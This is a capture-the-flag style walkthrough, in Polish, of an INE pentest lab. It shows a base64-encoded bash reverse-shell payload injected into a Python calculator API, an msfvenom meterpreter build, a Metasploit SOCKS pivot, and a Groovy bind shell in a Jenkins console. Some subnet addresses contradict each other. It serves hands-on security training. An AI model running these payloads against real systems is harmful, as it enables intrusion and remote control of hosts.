Description
Lab Environment
In this lab environment, the user is going to get access to a Kali GUI instance. A web server can be accessed using the tools installed on Kali on http://online-calc.com. However, there is another machine in the setup which is not accessible from the Kali machine but is accessible from the web server.
Objective: Compromise both machines to retrieve the flags!
Tools
The best tools for this lab are:
- dirb
- Metasploit Framework
- Proxychains
- A Web Browser
Please go ahead ONLY if you have COMPLETED the lab or you are stuck! Checking the solutions before actually trying the concepts and techniques you studied in the course, will dramatically reduce the benefits of a hands-on lab!
Black-Box Penetration Test 2 - 20.06.2022 r.
Na start otrzymujemy link do strony http://online-calc.com.
Po przejściu ukazuje się jedynie strona domyślna Apache2.
root@INE:~# ping online-calc.com
PING online-calc.com (192.154.245.3) 56(84) bytes of data.
64 bytes from online-calc.com (192.154.245.3): icmp_seq=1 ttl=64 time=0.115 ms
64 bytes from online-calc.com (192.154.245.3): icmp_seq=2 ttl=64 time=0.048 ms
Po spingowaniu wiem, że IP to 192.154.245.3
.
Nmap
root@INE:~# nmap -sC -sV 192.154.245.3
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-20 05:21 IST
Nmap scan report for online-calc.com (192.154.245.3)
Host is up (0.0000090s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
5000/tcp open upnp?
| fingerprint-strings:
| DNSVersionBindReqTCP, RTSPRequest, SMBProgNeg, ZendJavaBridge:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest, HTTPOptions:
| HTTP/1.1 200 OK
| Content-Length: 1127
| Content-Disposition: inline; filename="index.html"
| Accept-Ranges: bytes
| ETag: "e021c45eee1c6fcb7629edafba897555f86958c5"
| Content-Type: text/html; charset=utf-8
| Vary: Accept-Encoding
| Date: Sun, 19 Jun 2022 23:51:45 GMT
| Connection: close
| <!DOCTYPE html><html lang=en><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1"><link rel=icon href=/favicon.ico><title>online-calc</title><style type=text/css>/* Your local CSS File */
| @font-face {
| font-family: 'Roboto';
| font-style: normal;
| font-weight: 700;
| src: local('Roboto-Regular'), local('Roboto-Medium'), url(fonts/Roboto-Medium.ttf) format('truetype');
|_ }</style><link href=/css/main.7ee6b179.css rel=prefetch><link href=/js/main.7112507e.js rel=prefetch><link hre
8000/tcp open http Werkzeug httpd 1.0.1 (Python 2.7.17)
|_http-title: Site doesnt have a title (text/html; charset=utf-8).
| http-git:
| 192.154.245.3:8000/.git/
| Git repository found!
| .git/config matched patterns 'passw' 'user'
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: Minor formatting and removed unneeded functions...
| Remotes:
|_ http://online-calc.com/projects/online-calc
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.92%I=7%D=6/20%Time=62AFB691%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,583,HTTP/1\.1\x20200\x20OK\r\nContent-Length:\x201127\r\nCont
SF:ent-Disposition:\x20inline;\x20filename=\"index\.html\"\r\nAccept-Range
SF:s:\x20bytes\r\nETag:\x20\"e021c45eee1c6fcb7629edafba897555f86958c5\"\r\
SF:nContent-Type:\x20text/html;\x20charset=utf-8\r\nVary:\x20Accept-Encodi
SF:ng\r\nDate:\x20Sun,\x2019\x20Jun\x202022\x2023:51:45\x20GMT\r\nConnecti
SF:on:\x20close\r\n\r\n<!DOCTYPE\x20html><html\x20lang=en><head><meta\x20c
SF:harset=utf-8><meta\x20http-equiv=X-UA-Compatible\x20content=\"IE=edge\"
SF:><meta\x20name=viewport\x20content=\"width=device-width,initial-scale=1
SF:\"><link\x20rel=icon\x20href=/favicon\.ico><title>online-calc</title><s
SF:tyle\x20type=text/css>/\*\x20Your\x20local\x20CSS\x20File\x20\*/\n\x20\
SF:x20\x20\x20\x20\x20@font-face\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20font-family:\x20'Roboto';\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0font-style:\x20normal;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-w
SF:eight:\x20700;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20src:\x20local\(
SF:'Roboto-Regular'\),\x20local\('Roboto-Medium'\),\x20url\(fonts/Roboto-M
SF:edium\.ttf\)\x20format\('truetype'\);\n\x20\x20\x20\x20\x20\x20}</style
SF:><link\x20href=/css/main\.7ee6b179\.css\x20rel=prefetch><link\x20href=/
SF:js/main\.7112507e\.js\x20rel=prefetch><link\x20hre")%r(RTSPRequest,2F,"
SF:HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(
SF:DNSVersionBindReqTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnecti
SF:on:\x20close\r\n\r\n")%r(SMBProgNeg,2F,"HTTP/1\.1\x20400\x20Bad\x20Requ
SF:est\r\nConnection:\x20close\r\n\r\n")%r(ZendJavaBridge,2F,"HTTP/1\.1\x2
SF:0400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(HTTPOptions,
SF:583,"HTTP/1\.1\x20200\x20OK\r\nContent-Length:\x201127\r\nContent-Dispo
SF:sition:\x20inline;\x20filename=\"index\.html\"\r\nAccept-Ranges:\x20byt
SF:es\r\nETag:\x20\"e021c45eee1c6fcb7629edafba897555f86958c5\"\r\nContent-
SF:Type:\x20text/html;\x20charset=utf-8\r\nVary:\x20Accept-Encoding\r\nDat
SF:e:\x20Sun,\x2019\x20Jun\x202022\x2023:51:45\x20GMT\r\nConnection:\x20cl
SF:ose\r\n\r\n<!DOCTYPE\x20html><html\x20lang=en><head><meta\x20charset=ut
SF:f-8><meta\x20http-equiv=X-UA-Compatible\x20content=\"IE=edge\"><meta\x2
SF:0name=viewport\x20content=\"width=device-width,initial-scale=1\"><link\
SF:x20rel=icon\x20href=/favicon\.ico><title>online-calc</title><style\x20t
SF:ype=text/css>/\*\x20Your\x20local\x20CSS\x20File\x20\*/\n\x20\x20\x20\x
SF:20\x20\x20@font-face\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font
SF:-family:\x20'Roboto';\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-sty
SF:le:\x20normal;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-weight:\x2
SF:0700;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20src:\x20local\('Roboto-R
SF:egular'\),\x20local\('Roboto-Medium'\),\x20url\(fonts/Roboto-Medium\.tt
SF:f\)\x20format\('truetype'\);\n\x20\x20\x20\x20\x20\x20}</style><link\x2
SF:0href=/css/main\.7ee6b179\.css\x20rel=prefetch><link\x20href=/js/main\.
SF:7112507e\.js\x20rel=prefetch><link\x20hre);
MAC Address: 02:42:C0:9A:F5:03 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.85 seconds
Od razu moją uwagę przykuł port 8000
. Sprawdziłem go najpierw małym słownikiem common.txt
, a następnie większym, domyślnym raft-medium-directories.txt
.
root@INE:~# feroxbuster -u http://online-calc.com:8000 -w /usr/share/seclists/Discovery/Web-Content/common.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 邏 ver: 2.4.1
───────────────────────────┬──────────────────────
Target Url │ http://online-calc.com:8000
Threads │ 50
Wordlist │ /usr/share/seclists/Discovery/Web-Content/common.txt
Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
Timeout (secs) │ 7
說 User-Agent │ feroxbuster/2.4.1
Config File │ /etc/feroxbuster/ferox-config.toml
Recursion Depth │ 4
───────────────────────────┴──────────────────────
Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 1l 2w 23c http://online-calc.com:8000/.git/HEAD
200 92l 244w 1474c http://online-calc.com:8000/.git/config
200 2l 4w 209c http://online-calc.com:8000/.git/index
200 52l 186w 1985c http://online-calc.com:8000/console
root@INE:~# feroxbuster -u http://192.154.245.3:8000
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 邏 ver: 2.4.1
───────────────────────────┬──────────────────────
Target Url │ http://192.154.245.3:8000
Threads │ 50
Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
Timeout (secs) │ 7
說 User-Agent │ feroxbuster/2.4.1
Config File │ /etc/feroxbuster/ferox-config.toml
Recursion Depth │ 4
───────────────────────────┴──────────────────────
Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 52l 186w 1985c http://192.154.245.3:8000/console
200 1l 3w 31c http://192.154.245.3:8000/evaluate
[####################] - 1m 29999/29999 0s found:2 errors:1
[####################] - 1m 29999/29999 452/s http://192.154.245.3:8000
/console
/evaluate
Podstrona /console
zdaje się mieć zabezpieczenie poprzez PIN. Sprawdziłem jak wpisanie przykładowego pinu i wciśnięcię Confirm PIN
widać w BurpSuite
.
Zmieniłem jedną cyfre w pinie. Parametr s
nie zmienił się. Postanowiłem spróbować bruteforca, ponieważ serwer daje wyraźny response o niepoprawnym pinie.
/.git
Są pewne dane dostępu jeremy:diamonds
.
Jest również wzmianka o dodatkowym URLu. Ponieważ jest to remote orgin
, prawdopodobnie możemy go sklonować.
root@INE:~# git clone http://online-calc.com/projects/online-calc
Cloning into 'online-calc'...
remote: Counting objects: 26, done.
remote: Compressing objects: 100% (26/26), done.
remote: Total 26 (delta 8), reused 0 (delta 0)
Unpacking objects: 100% (26/26), 4.25 KiB | 724.00 KiB/s, done.
root@INE:~/online-calc# ls -al
total 24
drwxr-xr-x 3 root root 4096 Jun 20 17:03 .
drwx------ 1 root root 4096 Jun 20 17:03 ..
-rw-r--r-- 1 root root 2233 Jun 20 17:03 API.py
drwxr-xr-x 8 root root 4096 Jun 20 17:03 .git
-rw-r--r-- 1 root root 387 Jun 20 17:03 utils.py
Plik API.py
zawiera informacje o działaniu kalkulatora z portu 5000
.
Test aplikacji kalkulatora BurpSuite
Po wykonaniu testowego “zapytania” otrzymałem w Burpie taki request.
Prawdopodobnie chodzi o parametr expr
. Dozwolone znaki to 0123456789+-*/%.()"
. Niestety po zbyt wielu próbach jest komunikat Access Denied": "Too many requests.
, zatem zawaansowany sqlmap nie wchodzi w grę.
Można powiedzieć, że uzyskałem Command Injection
. Zauważyłem, że przy wpisywaniu funkcji Pythona, API wyrzuca komunikaty. Można to wykorzystać importując bibliotekę os
, która pozwala na wykonywanie prostych komend.
Rozumiałem, że muszę oszukać system, by przechwycić “nieporządane” znaki do payloada. Dodałem wszystkie duże i małe litery oraz inne do dozwolonych znaków. W ten sposób program “przepuszcza” mój request.
Ostateczny payload wygląda tak:
{"expr":"__import__('os').system('echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuODAuOC4yLzkwMDEgMD4mMSIK | base64 -d | bash')"}
Wykonuje on poniższy kod:
bash -c "bash -i >& /dev/tcp/192.80.8.2/9001 0>&1"
Nasłuchiwanie na porcie 9001
i uruchomienie requesta w BurpSuite
powoduje otrzymanie shella.
W folderze roota nie było flagi. Znalazłem ją poprzez find
.
find . -name flag
Flaga była w folderze /tmp
flag
3b2b474c06380f696b38c1498f795e054374
Pivot do drugiej maszyny
root@online-calc:/# ip addr
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
2: ip_vti0@NONE: <NOARP> mtu 1480 qdisc noop state DOWN group default qlen 1000
link/ipip 0.0.0.0 brd 0.0.0.0
29400: eth0@if29401: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:c0:50:08:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 192.80.8.3/24 brd 192.80.8.255 scope global eth0
valid_lft forever preferred_lft forever
29402: eth1@if29403: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:c0:cf:ce:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 192.207.206.2/24 brd 192.207.206.255 scope global eth1
valid_lft forever preferred_lft forever
Adres obecnej maszyny do której musimy się dostać to 192.207.206.x
. Ponieważ nie mam dostępu do narzędzi “spoza” środowiska. Muszę użyć msfvenom
i Metasploit
.
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.80.8.2 LPORT=9010 -f elf > exp.bin
Pobrałem plik z maszyny używając serwera http od Pythona. Włączyłem Metasploit
na multi/handler
oraz ten sam payload co msfvenom
czyli linux/x64/meterpreter/reverse_tcp
oraz IP. Dostałem połączenie. Próbowałem wykonać pivot poprzez autoroute
w Metasploicie
jednak coś nie działało poprawnie. Musiałem użyć modułu auxiliary/server/socks_proxy
. Jednak najpierw muszę przeprowadzić routing na nową podsieć.
msf6 exploit(multi/handler) > route add 192.43.33.0/24 1
[*] Route added
Ustawiam port na 9050
, ponieważ INE w swoich labach ma domyślne ustawienia SOCKS w ``
/etc/proxychains4.conf
na port socks4 127.0.0.1 9050
.
Wiedziałem, że druga maszyna ma IP 192.207.206.3
z poprzednich prób z Metasploitem
.
Teraz możemy przerowadzić skan portów przez proxychains
.
use auxiliary/server/socks_proxy
set SRVPORT 9050
set VERSION 4a
msf6 auxiliary(server/socks_proxy) > proxychains nmap -sT -P0 192.207.206.3
Nmap scan report for ns1.recife.pe.gov.br (192.207.206.3)
Host is up (0.0011s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE
8080/tcp open http-proxy
Teraz po tych wszystkich operacjach, gdy wejdziemy w proxy przeglądarki i ustawimy na 127.0.0.1
port z proxychaina czyli 9050
, możemy wejść na port 8080
z “obcej” sieci.
Panel Jenkins
Wersja Jenkins ver. 2.225
.
Prosty command injection w Jenkinsie.
cmd='whoami'
println cmd.execute().text
Otrzymanie shella jest równie proste.
int port=5555;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start()
Socket s = new java.net.ServerSocket(port).accept()
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Następnie łączę się z drugą maszyną przez dany port 5555
.
root@INE:/usr/share/nishang/Shells# proxychains nc -v 192.43.33.3 5555
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.15
Ncat: Version 7.92 ( https://nmap.org/ncat )
[proxychains] Strict chain ... 127.0.0.1:9050 ... 192.43.33.3:5555 ... OK
Ncat: Connected to 192.43.33.3:5555.
id
uid=105(jenkins) gid=108(jenkins) groups=108(jenkins)
:)